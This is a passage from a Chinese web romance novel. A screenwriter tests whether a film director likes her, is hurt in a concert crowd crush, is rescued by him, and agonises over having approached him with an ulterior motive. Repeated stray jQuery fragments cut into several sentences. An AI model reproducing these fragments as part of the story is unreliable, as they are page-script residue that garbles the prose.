只好给同为单身狗、恋爱经历也贫乏得可怜的薛霓发去求助信息。 薛霓一时间没回她。 她于是在小红书开始搜互联网姐妹们的经验。 “男生不喜欢你的6大表现!!!”(**) 很好,第一条就是“聊天的时候一直是你在找话题,开头是你结束是你。” 宜夏打开自己和谈雪昼的聊天框。 -早饭 -嗯 -晚饭吃什么 -都可以 -我把前天买菜的钱转你吧 -? -我缺那点儿? ……好像还真全是她主动。 他不会晾着不回,但也不会主动找她说什么。好吧,最主动的就是“去江流,晚回”这种交代她不用做早饭午饭的话。 宜夏的心被射了一箭。 她忍着疼痛,继续看。 “男生喜欢上一个人一定会有以下这些表现”(**) 发朋友圈他会点赞 打游戏的时候会保护你 主动给你分享日常 总找你聊天约你出去玩 …… 宜夏悲哀地发现,几乎没有能对上的。 她抱着膝盖,不信邪。 发条朋友圈试探一下。 发自己的自拍显得有点神经,毕竟又不是打扮得楚楚动人出去玩。 于是她决定给瑁妹拍个写真,发可爱小宠物显得她是个多有爱心的女孩子。 她蹲着咔咔给瑁妹拍了十大几张照,期间瑁妹还不配合四处逃窜,动静特别大,搞得宜夏精疲力竭。 精挑细选又PS,终于凑够四张图,发在了朋友圈里。 宠物就没必要仅一人可见了,她很大方,让朋友圈所有人都来欣赏瑁妹的……呃,好像不是很美貌,只好欣赏瑁妹的英勇身姿。 照片发出去,薛霓立马在下面评论: -哈哈哈哈哈哈哈哈天啊怎么会有这么丑的猫啊?! 宜夏:? 她人缘不错,朋友圈也发得不频繁,所以点赞的人数还挺多的。 可是这么多赞和评论,果真没有她最想看到的那个。 难道是谈雪昼不看朋友圈?还没看到? 她找借口,原谅他一秒。 算了算了,不点就不点。 谈雪昼这个人很复杂,小红书上的经验根本没用。 她如此自我安慰两分钟。 微信突然被人敲了,熟悉的名字在屏幕上闪烁。 宜夏心跳顿时加快,满怀期待点进去。 谈雪昼: 【晚饭不用给我留】 【我待会儿出门一趟】 隐晦的少女心思直接啪叽死了。 她瞪着聊天窗口,差点瞪穿,给谈雪昼发了个微笑的表情过去,随后删掉了朋友圈的猫咪。 ……试探失败。 小红书不靠谱。 绝对不是他对她没好感,只是这条经验失效了而已。她要另寻他路。 一分钟后。 谈雪昼: 【?】 【怎么删了?】 宜夏: 【删什么?】 谈雪昼: 【瑁妹】 宜夏振奋起来: 【你偷看我朋友圈,还不给我点赞,合适吗谈老师】 谈雪昼: 【怎么是偷看?】 【你发出来,不是给我看的吗?】 宜夏咬了下唇瓣: 【……谁说是给你看的了】 谈雪昼慢悠悠地说: 【毕竟瑁妹是我的猫。】 【偷偷发别人的猫到朋友圈,合适吗?】 宜夏:“……” - 睡前,宜夏刷了一下微博。 首页突然跳出来一条最新的关注内容。 许久没有上线过的神隐博主@谈雪昼发了一条新微博。 @谈雪昼:猫[照片][照片][照片][照片] ……全是她朋友圈发过的图! 太无耻了,居然偷她的图发微博,几个意思?! 评论区有一大群粉丝在违心地夸奖瑁妹长得可爱,长得抽象。 @广告位招商:谈导,你看这只猫,长得像不像你存了三年没上映的《城池》? @广告位招商2 () { $(''.inform'').remove(); $(''#content'').append('' :谈导,长得这么高概念的猫,像不像你还没有开机的《牺牲者》和《天幕之下》? @广告位招商3:你有时间养猫,你倒是开机啊!你知道电影院没有你的片子,这段时间我是怎么过的吗!你知道我有多痛苦吗!逆子,你实在太不孝顺了! …… 宜夏被这些粉丝逗得笑死,津津有味翻了不少评论。 微信突然跳出一条新消息。 来自薛霓。 薛霓: 【[截图]】 【哈哈哈哈谈导这只猫好像你朋友圈发的那只哦,你看简直一模一样】 【都好丑啊哈哈哈哈哈】 宜夏:“……” 半分钟后。 薛霓: 【不过谈导的这个照片怎么和你朋友圈发的好像……】 【一样?】 【怎么回事?】 …… 宜夏十分淡定,慢吞吞打字: 【我照片就是在他微博存的。】 【其实是偷的照片。】 薛霓: 【???】 她立刻被说服了,很快问: 【你不是不喜欢我谈吗?为什么关注他了?】 宜夏有点心虚的,解释: 【也没有很不喜欢吧,其实我对导演没有什么偏见的。】 薛霓立刻甩过来一大堆剪辑安利链接,包括谈雪昼过去的采访、视频,各种作品混剪。 【简单看看。一定能改变你对我谈的认识。】 宜夏更心虚了。 她不知道该不该跟薛霓合盘托出。 总感觉背着闺蜜跟闺蜜的偶像接触,有点不道德。 她挣扎了半分钟,艰难打字打了两行,却见薛霓那边又跳出一行字。 薛霓引用她对话框之前问的“男生是不是喜欢你”的问题,很敏锐地问: 【什么叫怎么判断一个男的有没有喜欢上你?】 【你想搞谁?】 【前段时间那个微信都不给的难搞哥?】 宜夏删掉自己的解释: 【……怎么还给人取上外号了。】 薛霓: 【不错不错,前段时间还加不上微信,今天都开始怀疑人家喜欢你了。】 【可喜可贺】 宜夏: 【我不是怀疑他喜欢我,我是想找个方法判断他到底是不是喜欢我。】 薛霓: 【那不就是怀疑他喜欢你。】 宜夏: 【唉】 【你不懂】 【他这个人很怪。】 薛霓: 【哪里怪?】 宜夏: 【怪好看的。】 “你撤回了一条消息” 宜夏重新发: 【性格很怪,说不上来。】 35. 春日 薛霓: 【你还挺土味】 【感情的事问我,你还不如问chatgpt】 【不过我倒真的有一个建议】 【你就试着强行亲他,看他有反应没。】 ……这个。 是个正常的男的,应该都有反应吧。不过有的是生理反应,有的是报警把她抓去警察局。 而且说真的她之前差点就亲了。 不过实在是不太好意思,没那么厚脸皮。 宜夏面无表情: 【我不是性骚扰的人】 薛霓: 【谁叫他长那么好看勾引你。】 宜夏:“……” 薛霓又说: 【要么你就约他出去玩,看电影,去游乐场,最经典的偶像剧桥段】 【如果他喜欢你,总是会有点反应的。】 【对了,我这里还有两张演唱会的门票,我和我同事都出差去不了,你们去看演唱会呗?】 【看演唱会的时候气氛一好,手这么一牵,眼这么一对视,再全场情歌大合唱含情脉脉的氛围一起来,不喜欢都要变喜欢了吧?】 宜夏细细思索,竟然觉得她说的有那么几分道理。 于是果断答应。 她把票钱转给了薛霓,很有行动力,立刻在微信上叫谈雪昼,兜圈子: 【谈老师,你最近工作也挺累的,我看你每天昼伏夜出的,感觉很辛苦。】 【应该放松一下。】 她话还没说完,谈雪昼那边已经很警惕地回复了她一个问号。 【怎么,你又在琢磨什么?】 宜夏: 【不要把人想那么坏。】 【我请你去看演唱会,去不去?】 【不用太感谢我。】 一刻钟后,她收到了回复。 【我过两天要去瑞士,下周四回来。】 片刻。 【你在想什么点子?】 【演唱会?什么时候?】 宜夏退出微信,点进网页看了眼演唱会电子票时间。 又确认了一遍。 ……下周三。 什么…… 无语凝噎,中道崩殂。 宜夏无力扑倒在床上。 - 周二,演唱会头天晚上。 宜夏在微信上跟薛霓研究怎么翘了出差去看演唱会。 薛霓研究一番,最终还是没敢。 班翘了就翘了,出差考察随便翘,她得在大领导那挂上名了。 宜夏看着自己的两张票,有些失语。 事已至此,实在不行,就一个人去看呗。 孤独等级十级,一个人去看演唱会。 她可怜兮兮发了条朋友圈,仅一人可见。 第二天她搭午班船去江流。 演唱会晚上七点开始,就在市体育馆举行。 先晃晃悠悠在市中心吃了午晚饭,再在场馆附近找家咖啡店待一阵子消磨时间。 她刷了会儿微博,手几乎不受自己控制地输入了“谈雪昼”。 点进他的微博。 个人简介只有两个字,“导演”。 之前看他的微博,她都没注意到他的个人简介。这一次却突然品出了不同的滋味。 他是个很骄傲的人,其他人认识他也好,不认识也罢,他不屑于用作品的名字把自己堆砌起来。 宜夏又觉得自己在做阅读理解了。 也许他就是懒,认证之后随便填的两个字。 一刷新,突然见到@谈雪昼发了一条新微博。 “刚刚”,一分钟前。 @谈雪昼:[分享照片] 是张从飞机内部透过舷窗拍的窗外景色。飞机已经在机场泊位停稳,拍出来窗外太阳猛烈白亮,天空蓝得仿佛水洗一般。照片里一半机翼白得几乎反光,只有翅膀末梢涂了一个漂亮的花体英文LOGO,“Titan”。 下面定位是江流。 江流? 他从瑞士提前回来了? 下面评论区迅速聚集了一大堆小粉丝问谈雪昼新电影的事。宜夏也跟着评论了一条: 【这就回来了?】 谈雪昼竟然开着大号直接回复: 【没办法,有人等。】 有人等…… 他该不会是为了她提前回来的吧? 刚刚那点儿小失落一扫而空,心情简直不受控制地雀跃起来,甜滋滋的味道,就好像夏天吃到冰淇淋最上面那一点点雪顶,沁凉的甜蜜。 宜夏从来不知道,自己心情竟然能在短时间内变化得那么快,这种整颗心被其他人左右的感觉,有些奇妙。 她揉了揉脸,盯着手机,虔诚等待他主动来联系她。 谁知道,玩了十分钟数独,也没等来他的主动消息。 会不会是她自作多情了。 有人等,这个人不是她,是其他人? 宜夏一秒就能胡思乱想到天边,七上八下。 就快按捺不住矜持不了的时候,手机铃声终于响了。 她立刻站起来接电话。 那边声音比平常要懒散困倦一点儿,漫不经心的,拖长音:“你在哪儿?” - 三十分钟后,谈雪昼在宜夏对面坐下,低头扫码点了杯咖啡,摘掉墨镜揉眼睛。 他平常熬夜都不怎么有黑眼圈,但这会儿眼底的黯沉却格外明显,估计是为了提前回来熬了几个大夜,一脸倦怠。 他愿意熬夜赶工作,又赶飞机飞回来,就为了和她一起看演唱会……是不是意味着,他有一点喜欢她? 不可思议的心软的同时,又有点内疚,他好像真的,对她挺好的。 可是她却目的不纯。 她悄悄抬头偷瞄他。 服务员送来他的冰美式。 他喝了一口,靠在椅背上闭目养神。养了一阵子,冷不丁开口:“再看收费了。” 宜夏:“那先包月,多少钱?” 谈雪昼:“……一个月十万吧,算你VIP。” 宜夏:“太贵了,你的脸是金子做的吗?” 谈雪昼笑了声,吊儿郎当拉长声音:“是不是金子做的我不知道,我只知道有个人,对我特别的垂涎。” 宜夏讪讪:“……那个人应该不是我吧。” - 晚上七点开场的演唱会,下午五六点,场馆外面的小广场已经非常热闹了。后援会、粉丝团各种发物料、应援和免费小周边,还有一些小摊贩摆摊卖纪念品、发箍之类的。 宜夏其实对这个歌手不太熟悉,只知道她唱过一些电影OST。 不过人来都来了,那就随大流买点会发光的发箍戴上。 她挑了一个造型别致像兔子耳朵的,再走几步,看到了一个造型更可爱上面有鹿角的。她直接全款拿下,拎着发箍转过头看向离她八丈远的谈雪昼。 谈雪昼看出她眼神里的期待了。 他直接拒绝:“我是不可能戴这玩意儿的。” “入乡随俗啊谈老师,大家都戴,多可爱。” 她一比划,来来往往的女生们果然每个人都头顶一个小发箍,有的正在一闪一闪发光。 谈雪昼皮笑肉不笑:“喜欢的话你可以自己戴两个。” 宜夏微微仰起头,认真看着他,温吞说:“你不戴也没关系,最多我比较失望而已。我失望了就会难过,难过就会吃不下饭,吃不下饭说不定明天就会死掉。” “那真是为民除害了。” 宜夏不想跟他说了。 铁石心肠,一点都不懂欣赏可爱的东西。 她一人当先走在前面,手里还甩着发箍。 谈雪昼慢悠悠跟在她后面,抱着手臂,看着她一晃一晃的高马尾,隐约勾了下唇角。 宜夏扭过头,定定盯了他一眼,叹了口气。 好可惜,感觉他戴其实会很可爱来着。 除了会有点0之外。 通过入场通道进了内场,宜夏看见场内满场都是戴着发光发箍的粉丝,转头看了谈雪昼一眼,又叹了口气。 谈雪昼定定看着她,跟着叹了口气。 宜夏:“……你叹气干嘛。” 谈雪昼直接投降:“行了,给我一个,我戴就是了。” 宜夏眼睛一亮,都不用他动手,直接踮起脚飞快替他戴上鹿角小发箍。 鹿角在头顶闪闪发亮,谈雪昼抬手摸了下。 又叹了口气,警告她:“算了。我告诉你,正常情况我是不会戴这种玩意儿的,这是我这辈子的耐心,你记住。” 宜夏笑眯眯拿出手机看他:“谈老师,我给你拍张照吧。” 谈雪昼立刻伸手挡住脸。 宜夏试图拉下他的手掌,却没拉动。宜夏用力,却突然被他反握住手掌。 她愣了一下,仰起脸看着他,木木的没动弹,心跳却一瞬间变得特别快。 维持了一个很僵硬的被他牵住手的姿势。 一前一后往内场走。 她低着头,他也没回头。 () { $(''.inform'').remove(); $(''#content'').append('' 突然没人说话了。 只是手牵在一起。 - 他们的位置在内场前排靠走廊,离舞台不算远,算是很好的黄金位置。 视线稍稍被舞台周围的大柱子挡住,影响不太大,毕竟演唱会主要就是图个气氛,图个体验感。 演唱会很快开始。 宜夏最初目的不纯,不过现场氛围真到了,她完全忘记薛霓那些乱七八糟的叮嘱,完全沉浸在了现场躁动欢快的氛围之中,跟着旁边的粉丝舞着荧光棒。 中场休息的间隙,她偏过头看谈雪昼。 这个人却在人流躁动中岿然不动,甚至打开手机看了眼,宜夏一瞥,似乎是工作上的事情。 薛霓帮宜夏设想的什么对视,什么牵手,什么全场合唱的氛围……通通遥远得不可思议。 都要唱到最后的一支歌了,除开最开始牵了下手之外——找到位置之后就很自然地松开了,自然坦荡得像导盲犬和盲人一样!——没有发生任何暧昧,纯洁得就好像绿晋江审核过的清水文。 宜夏躁动了,她决定主动行动。 她侧过脸用余光打量他,若无其事地往他那一侧靠近。 近一点,再近一点,她的手背轻轻蹭了一下他的尾指。 他没什么反应。 她没看见他的食指突然跳了一下。 宜夏得寸进尺,就要勾住他手指时,他转过头来,忽然扬起手机:“我接个电话。” 宜夏:“……” 正是最后一支安可曲上台前的短暂休息,现场气氛十分热烈。 谈雪昼往外走,出了场馆门口才能找到稍微安静点的地方接通电话。 是工作上的事。 另一边场内。 安可曲将现场的气氛推向了高潮。 宜夏轻微的沮丧被治愈,跟着旁边的人慢吞吞挥舞着荧光棒,全场大合唱的声浪几乎要掀翻屋顶。 就在这时,一声尖叫突然打破了沉浸的欢乐气氛。 为了支撑巨型LED屏,舞台四角有四根巨大的柱子。其中一根柱子螺丝松动,变故陡生,崩塌般朝舞台下倾颓下来,螺母、铁管崩裂飞溅,击中了前排的观众。舞台上的歌手被这突如其来的变故震懵了,声音卡在喉咙里发出惊叫,前排观众的尖叫声因此格外响亮刺耳。 前排的观众受惊吓,朝后排退来,后排的观众不知道发生了什么事,争先恐后地往场馆的出口涌去。 于是前排推后排,后排推更后排,大部分人不知道发生了什么,被人流裹挟着往场馆门口拥去,人挤人,人压人,明明不是大事,恐慌的蔓延却令场面顿时控制不住地混乱起来。 宜夏也被人潮往场馆门口带。 太拥挤了,她根本没办法脱离人潮,只能被后面的人挤着,前面的人带着走。 身后传来响亮的哭声和尖叫声,她在仓促之中回头,却看见不远处似乎已经发生了踩踏事故。 她心一沉。 舞台上的歌手已经反应了过来,拼命组织现场秩序,场馆的安保也尽力维持不发生意外,但意外的踩踏还是发生了。 宜夏被人挤得喘不过气,只能拼命地把包抱在胸口顺着人流往墙边挪。 人流左冲右撞,她一步一步拼命地挪到墙边贴着墙,终于要安全一点了,却被身后的人猛然一撞,直接跌倒在地上。后面的人直接从她脚踝上踩过,顿时,一阵撕裂的疼痛直击大脑。 要是被踩到地上就完了,她拼命爬起来,忍着眼泪努力靠着墙站稳。 幸好这时候已经靠墙了,后面的人没有继续推她,而是试图从她身侧绕过去。 她忍着剧烈的疼痛环住胸一步一步顺着人流继续走,这时候饶是再冷静,手脚也不免发软,呼吸甚至有些困难。 惶恐与疼痛一阵一阵,她想唯一幸运的事是谈雪昼刚刚幸好出去接电话了,他是安全的。 这个念头刚一冒出来,她听见了一道沙哑的声音:“宜夏!” 她扭过头,却见谈雪昼出现在了几步远的人流之中。 他逆着人流,在往她的方向艰难地靠近。 尖叫声,惊恐声,哭声,歌手声嘶力竭维护秩序的嘶哑声,这一瞬间似乎全都消失了。 全世界只剩下他高大的身影朝她逆行。 清水般干净的眉眼,在一片混乱中,仿佛旋转晕眩成为世界的支点。 他一直是游刃有余的,宜夏从没在他脸上见到过那么慌乱的表情。 刚刚忍得很好的眼泪,莫名在一瞬间就下来了。 36. 春日 宜夏发着抖,抱着包一步一步艰难地朝谈雪昼挪去。 人流挤着推着,她根本没办法控制自己的方向,明明只是几步的距离,却如此遥远。 她努力伸手去够他,谈雪昼伸长手臂,一只手把她拽进怀里护住。 宜夏被他身上清冽的气息笼住,瞬间安心下来,紧紧攥住他的手臂。 拥挤的人流中两个人都出不了声,只能尽力彼此支撑扶持着一步一步顺着人流往外挪。 终于到场馆门口,脱离了人流的裹挟,呼吸到清新的空气,宜夏仍然在发抖,呼吸急促,强烈的心悸与后怕让她无法出声。 用手臂胡乱擦去脸上的生理性泪水,后怕涌上心头。 她从谈雪昼怀里挣出来,抬起脸,脸颊上泪痕交错:“你……” 他捋了下她被泪水沾湿的头发,清了下嗓子,声音恢复了平常的漫不经心:“有那么吓人吗,至于哭成这样?” 宜夏擦了把眼泪,突然问:“你不是在外面吗?为什么回来找我?” 不危险吗? 逆流而上,你不怕出事吗? 谈雪昼不答,反而问:“有没有哪里受伤?” 刚刚被踩到,脚踝钻心的疼痛突然上涌。 宜夏嘶了一声,两只手紧紧拽住谈雪昼的手臂,整个人就直接往他身上倒去。 谈雪昼立刻伸手扶住她,语气也变严肃了:“哪里伤了?” 宜夏吸了下鼻子:“脚……好像被踩了。” 谈雪昼低下眼。 广场上灯光不甚明亮,她又穿着袜子,看不清脚踝的情况。他啧了一声,两只手掐住她的腰,直接把人搬去了旁边的花坛上坐下。 宜夏都呆了。 动作也太粗暴了,都不是抱,真的是拦腰搬运。 场馆外的广场上不少好不容易从场馆里挤出来的观众。 最近的救护车呼啸着赶到。 宜夏被放在花坛上,谈雪昼蹲下,捋掉她的小腿袜低头检查。 她今天穿的是件牛仔连衣裙,袜子稍稍往下一褪,就能看见红肿的脚踝。 谈雪昼冰凉的手指轻轻按在她的脚踝上,抬起脸:“疼吗?” 他一抬头,宜夏却只看见他头上的两个发光鹿角。 一时间疼都忘记了,她答非所问,小声喃喃:“好可爱。” 谈雪昼不知道她在抽什么疯。 户外经验很丰富,他一下就可以断定:“肿这么快,可能伤到骨头了,要去医院。疼不疼?能不能走?” 宜夏点头,又摇头。 还有些没从刚刚的混乱中抽神,她张了张口,怔怔看着他,没能出声。 他们这会儿打车打不到。 附近全是散场了打车的观众,排号要排到一百多位等一个半小时。 叫救护车就更不可能了,浪费公共医疗资源。 最近的医院又远,于是谈雪昼打电话让司机过来。 司机来要一会儿。 宜夏不胡思乱想的时候,脚踝的疼就完全忽视不了,她轻轻嘶了一声,抱住没受伤的那条腿膝盖,慢慢曲起,抬头不自觉寻找谈雪昼的身影。 谈雪昼打完电话,转头看她,发挥了这辈子没有过的好心安慰:“司机很快来。” 宜夏呆呆看着他。 突然不知道说什么。 他刚刚明明在外面打电话,明明是安全的,为什么还要逆着人流挤回去找她?为什么呢? 因为责任感吗? ……还是。 喜欢她? 宜夏突然心里有些酸涩,她好像是在利用一个无辜的人。 她是很想要他的喜欢,可是,他真的喜欢上她,她又会觉得自己罪大恶极。 谈雪昼误会了她的表情,拧起眉:“疼得很厉害?我去药店帮你要点冰敷。” 五分钟后,他拎着一大袋外伤药和冰敷材料回来。 他低着头细致地捋下她的袜子,把药喷在她脚踝上,最后把冰袋按在红肿处,仔细地按住。 宜夏被冻了个哆嗦,但没躲,突然伸手,用冰凉的指背荡开他汗湿的乌黑额发。 突然注意到他的发根不是纯黑的,带一点浅浅的白金色,像是染的颜色掉了之后露出来的真实颜色。 他抬起脸,蹙着眉。 汗水细密地渗在额头,他一对浓眉下眼睛格外漆黑明亮,宜夏几乎要跌碎在他的眼睛里。 她喃喃小声说:“不疼了,好多了。” 他依然按着她的脚踝,挑了下眉,说:“不疼了就开始对人动手动脚?” 宜夏收回了自己的手,低声说:“误会了。” 半分钟后,又慢吞吞伸手用手背在他脸颊上擦了一下,温温吞吞看着他。 谈雪昼:“……” 半分钟后,谈雪昼淡淡说:“自己按着。”站起身来 () { $(''.inform'').remove(); $(''#content'').append('' 。 宜夏脚踝被处理了一下,没那么疼了,乖乖坐在原地。 谈雪昼低头看表,等司机来。 宜夏仰起脸,张了张口,轻声说:“谈雪昼,你刚刚不应该回去找我的。发生踩踏的时候逆着人流很容易跌到,很容易出事。” 谈雪昼挑了下眉,点头:“我知道。” “那你为什么要回去找我?” “你说呢?” 宜夏低着眼帘盯着菱形地砖上的纹路,张了张口,却说不出口。 没安静多久,司机赶到。 刚刚的话题无疾而终。 若无其事上了车,司机一路风驰电掣把人送往最近的医院。 医生简单检查之后断定只是扭伤,没有骨折。 为了保险起见还是拍了个片子,骨头确实没出问题,只是扭伤很严重,需要暂时制动冰敷处理。 弄完所有检查已经到了凌晨,宜夏精疲力竭,被谈雪昼扛上了车。 车里一阵微妙的安静,宜夏不知道该说什么好,也不知道如何面对他,只好掩饰性地低头看手机。 刚刚演唱会的踩踏事故已经上了热搜,不幸中的万幸只是有人受伤,没有出现重伤或者死亡情况。 歌手本人在微博上表示关心,下面不少粉丝留言担忧。 薛霓也看到了热搜。 宜夏收到了她的连环消息: 【没事吧????】 【怎么会出事故??你没事吧!】 【别吓我,回话!】 【阿宜????】 宜夏腾出手回她: 【没事,只脚扭了一下。】 薛霓: 【你现在在哪儿呢?在医院吗?我来接你】 【你一个人?】 宜夏: 【没……】 薛霓很快反应过来: 【跟难搞哥在一起?】 宜夏: 【差不多吧。】 薛霓: 【那我不打扰你们?】 【我退了?】 【加油,大好机会啊,争取今晚就把他搞到手】 宜夏遮掩着偏过头瞄了谈雪昼一眼。 第一次,讨论这个话题是严肃认真而惆怅的。 【霓霓】 【如果有一个人欺骗了你,别有用心地接近你,利用你,你知道了,会原谅他吗?】 37. 春日 - 车驶入小区,顺畅地在地下车库停下。 宜夏先没想那么多,自己下了车单脚撑着车门站着。 谈雪昼从另一侧过来,看她坚强的样子,有些惊讶问:“你自己可以?” 宜夏其实脚腕还挺痛的。 换做平时,她绝对不会放过这个机会,开始撒娇要他扶她甚至抱她。可是今天,宜夏没那种心情,情绪低落,轻声说:“没事,我可以自己走。” 谈雪昼打量她一番:“行了,站那别动。” 宜夏以为他要找她麻烦,没想到他直接来到她面前,没多废话,把她打横抱了起来。 宜夏呆了一秒,两只手慢慢搂紧他的脖子。 鼻端嗅到他身上仿佛雨打树叶激发的冷香。宜夏脸很缓慢地红了,也不吭声,安静挂着。 电梯停在顶层,谈雪昼刷了虹膜进门,把宜夏放在在了客厅沙发上,起身去厨房冰箱翻冰格。 宜夏两只手撑在背后坐起来,仰着脸,安静地打量四周。 她来过这里好几次,这却是她第一次认真看谈雪昼的这所住处。 超高的挑空客厅,高大的落地窗轻掩着白纱,窗外城市的璀璨灯火轻柔而朦胧。霓虹灯在窗外连缀成线,如同城市的脉搏,一下一下跳动着。 顶层复式,空间很大。 黑灰的主色调,很符合经典言情小说对霸总住处的想象。但不是冰冷的黑灰,那种很特殊的特调颜色,令人想起夏季种荷花的大缸底下黑色的磁石,又像小鹿湿润的黑眼珠,荡漾着脉脉的水光。装饰也别具一格——叶片阔大的琴叶榕与生机勃勃的蔓绿绒、满满当当的浓绿藤蔓墙、不知道从哪里收集来的淡褐色深棕色树枝形状像鹿角,被打磨抛光做成独特的枝形灯,悬垂在空中。 不仅充满艺术性,其中还有蓬勃的生活情趣,很有意思。 宜夏转过头,突然看见一个用来隔断视线的水草缸。 用水草、树根、水生莫斯造出极其逼真的森林。水缸里的榕树高大树冠深绿,叶片栩栩如生,橙色红色的虎耳草点缀其中,甚至树根上的青苔都清晰可见。 宜夏被吸引,想凑过去细看,一从沙发上下来,脚腕立刻一疼,又摔回原位。 谈雪昼人从厨房出来了,拿了个冰袋,蹲下再次给她冰敷。 他略略弓着背低头,动作很耐心。 宜夏看不清他的神色,心却重重地下陷着,一阵酸软几乎逼到了鼻尖。 - 宜夏: 【你别管我刚刚是什么意思,我就是想问你】 【如果一段感情的开始是其中一个人人别有用心,蓄意接近】 【但后来TA心怀有愧,内疚后悔】 【你觉得对方能原谅她吗?】 薛霓估计这会儿吃完了晚饭正在追综艺,很快回她: 【你的新剧本?】 【你不是不写爱情线吗?】 宜夏: 【你帮我分析一下】 薛霓: 【难道是你和难搞哥?】 【你怎么别有用心了?你玩弄他感情了?】 宜夏: 【……不是我,就是有这么个人。】 【譬如说是一个爱情故事里的女主角】 【女主角为了其他目的接近男主角,想要他喜欢上自己。结果男主角真的喜欢上女主角了。】 【你说男主角会因为她因为其他目的接近他生气吗?】 薛霓: 【这要分情况。】 【女主角具体是什么目的?】 【如果女主角没有做什么坏事,只是初始目的不单纯,就还好啦。】 【毕竟除开一见钟情真看上对方的,大部分恋爱不也都是图对方长相图对方有钱吗?】 宜夏: 【那如果】 【女主角真正的目的,是因为男主角在和她的死对头相亲】 【她不想让死对头成功】 【你说,男主角知道了这些】 () { $(''.inform'').remove(); $(''#content'').append('' p> 【会怎么样?】 薛霓: 【你等我捋捋】 【这个情况就有点难说了】 【一般,我是说一般,比如放在我身上,假如我是有权有势又有钱的男主,有人接近我的时候,我就能预想到对方肯定是图我点儿什么,图我钱图我权图我这个人,我都能接受】 【但如果是因为想利用我来打压自己的死对头,这不就是纯利用吗?甚至不图我这个人,只是因为和死对头的关系而接近我】 【这会让我觉得我只是一个工具,不是我,换成其他人和死对头相亲,她肯定就去接近其他人了】 【有一种彻底的被利用的感觉,我会感觉到很愤怒】 【被耍了】 宜夏被薛霓说得有点愣神。 她一直有些回避去想这个问题,去想谈雪昼如果真的知道真相,会有什么反应。 一直很矛盾。 或者说,她想要谈雪昼喜欢她,但又不希望他太喜欢她。最好维持在一种很微妙的程度,一种知道了她真正的目的也不会太愤怒太难受的程度,能够好聚好散的程度。她希望他的喜欢能够让他拒绝于思程,又不希望他的喜欢太强烈以至于事后愤怒难堪失望。 不希望太伤害他。 ……怎么可能呢? 实在是太贪心了。 薛霓也许是察觉到宜夏的沉默,在那边补充: 【不过其实也有办法转圜】 宜夏立刻问: 【怎么做?】 薛霓: 【很简单,问题的关键在女主角】 【女主角她现在对男主是什么态度?】 【就是说,到底喜欢吗?】 喜欢吗? 宜夏看着手机屏幕上那行字。 陷入了不可自抑的沉默。 她到底喜欢他吗?抛开一切曲折的目的,她喜欢他吗? 这段时间以来的矛盾纠结难过,小心翼翼的试探,到底是为了什么? 38. 春日 薛霓还在不停地发信息过来。 【如果女主角其实已经喜欢上了男主,真心的,那好办。】 【她只要好好瞒着,不让男主知道她最开始的目的不就好了吗?】 【虽然故事地开端不太梦幻,但是结局殊途同归,也是一段佳话。】 宜夏过了很久,才说: 【她现在应该是真的喜欢上他了。】 躺在客卧的床上翻来覆去许久,闻着清新的小苍兰香味入睡。 一旦做了最终的决定,那些矛盾纠结失落就好像一场无形的内心戏,缓慢消散。 她想好了。 是的。 不该钻牛角尖的。 不管最开始的目的是什么,现在,她是真心的,是真的喜欢他了。 想和他在一起,真的在一起。 确定了最深处的心意,宜夏睡得很安稳。 第二天一早起来,宜夏的脚就已经好得差不多了。 她醒得早,洗漱完了之后就出了卧室。 主人不在,她也不好意思到处乱走逛别人家,只好在客厅坐着,拿过搁在旁边茶几上的一本书翻了两页。 她以为会是什么装点门面的高雅文学,没想到书名叫《天啊,这本书没有名字!》。 翻开一看是圆珠笔涂鸦的小人,竟然是本童书。 宜夏捧着书很容易看了进去,很薄的一本,不到半小时就翻完了,谈雪昼人还没有下楼。 她放下书,撑着下巴,借助落地窗外朦胧的光线,再次欣赏客厅里的装饰。 昨天她感兴趣但没来得及细看的水草缸,隐匿在不甚明亮的光线下,树叶浓绿、森林幽深,特别的神秘幽静。她走过去蹲下细看,发现深绿黯沉的森林深处竟然藏着一条火车铁轨,一列蒸汽火车车头藏在树洞深处,若隐若现。车头是复古的红色,点缀在深绿色的丛林之中,如同风格强烈的古典油画。 车头做得特别细致,两条透明的小鱼突然从车厢里游出来,惊了宜夏一跳。 “看什么呢?” 宜夏扭头。 谈雪昼早晨冲了个澡,毛巾搭在脖子上,从楼梯上下来,眉眼疏淡。 宜夏回过头继续看两条小银鱼游动:“这个水草缸好漂亮。” “还行吧。” 宜夏手掌按在透明的玻璃上,有些羡慕:“有钱真好,可以请人来做这么好看的水草缸。” “我自己做的。” 宜夏震惊地扭头。 他用毛巾擦了擦还滴水的发梢,很淡定地往中岛台走,随口说:“这个不难,水草造景很容易学。” 宜夏呆了下:“那这个铁轨,还有火车是怎么做的?” “3D打印,外壳很容易做,不过这个火车车头装了马达,可以顺着铁轨开出来,这个有点费功夫。” “还可以开?!” 谈雪昼看向她,片刻,漫不经心点头。 宜夏:“可以开出来给我看一下吗?” 谈雪昼走到水草缸旁边,按了一下侧面的一个按钮。 水草缸顶部模拟日光的布光暗了一瞬间,火车鸣着汽笛从森林深处行驶出来。最仿真的是火车车头竟然还会冒烟,模仿真正的蒸汽火车。 宜夏目不转睛地看着行驶的一列火车。 童话里的红色小火车行驶到她面前停下,两只透明的小银鱼再次从车窗中穿梭而过。 宜夏简直被迷住了,好奇死了:“这怎么做到的?” “提前设计好路线就可以了。” 宜夏转头盯着小火车,突然灵光一闪:“……等等,这个场景,是不是《致命追杀1》开头那个长镜头?” “是微缩场景。” “好厉害……那这个火车要怎么退回去啊?” 谈雪昼示意她按水草缸侧面的按钮。 宜夏兴奋地戳了一下,火车继续向前行进,鸣着咕嘟嘟的汽笛从水草缸最侧面擦过,随后跟着环形轨道回到了最初的位置。 宜夏没忍住又按了一下。 小火车又行驶出来了。 又按一下。 小火车又回到原位。 按个不停,不知道按到了哪里,小火车的汽笛声突然变了,变成了一段清亮的钢琴曲。 《致命追杀1》最有名的那段经典BGM,钢琴版。 还有一个小人从火车车窗里探出头来,看装束是《致命追杀》的男主角经典打扮。 太有意思了。 宜夏眼睛闪闪发亮,羡慕死了:“这也太好玩了……” 越接近谈雪昼,越能发现这个人真的很有意思。 会很多奇奇怪怪的技能。 谈雪昼很是受用她的眼神,表情却很淡定:“那边还有一些树脂做的微缩场景。” “我可以看吗?” “跟我来。” 谈雪昼领她到一面巨大的落地橱窗前。 打开橱窗门,宜夏便陷入了满目浓蓝深紫的微缩科幻世界。 这些微缩的场景也都取自他的电影。 譬如有一个很克的场景,浴室里爬来了一只克苏鲁感爆棚的大章鱼,就来自他的《禁闭现场》。大章鱼身上的圆环都做得格外精细,简直完美复刻电影画面。 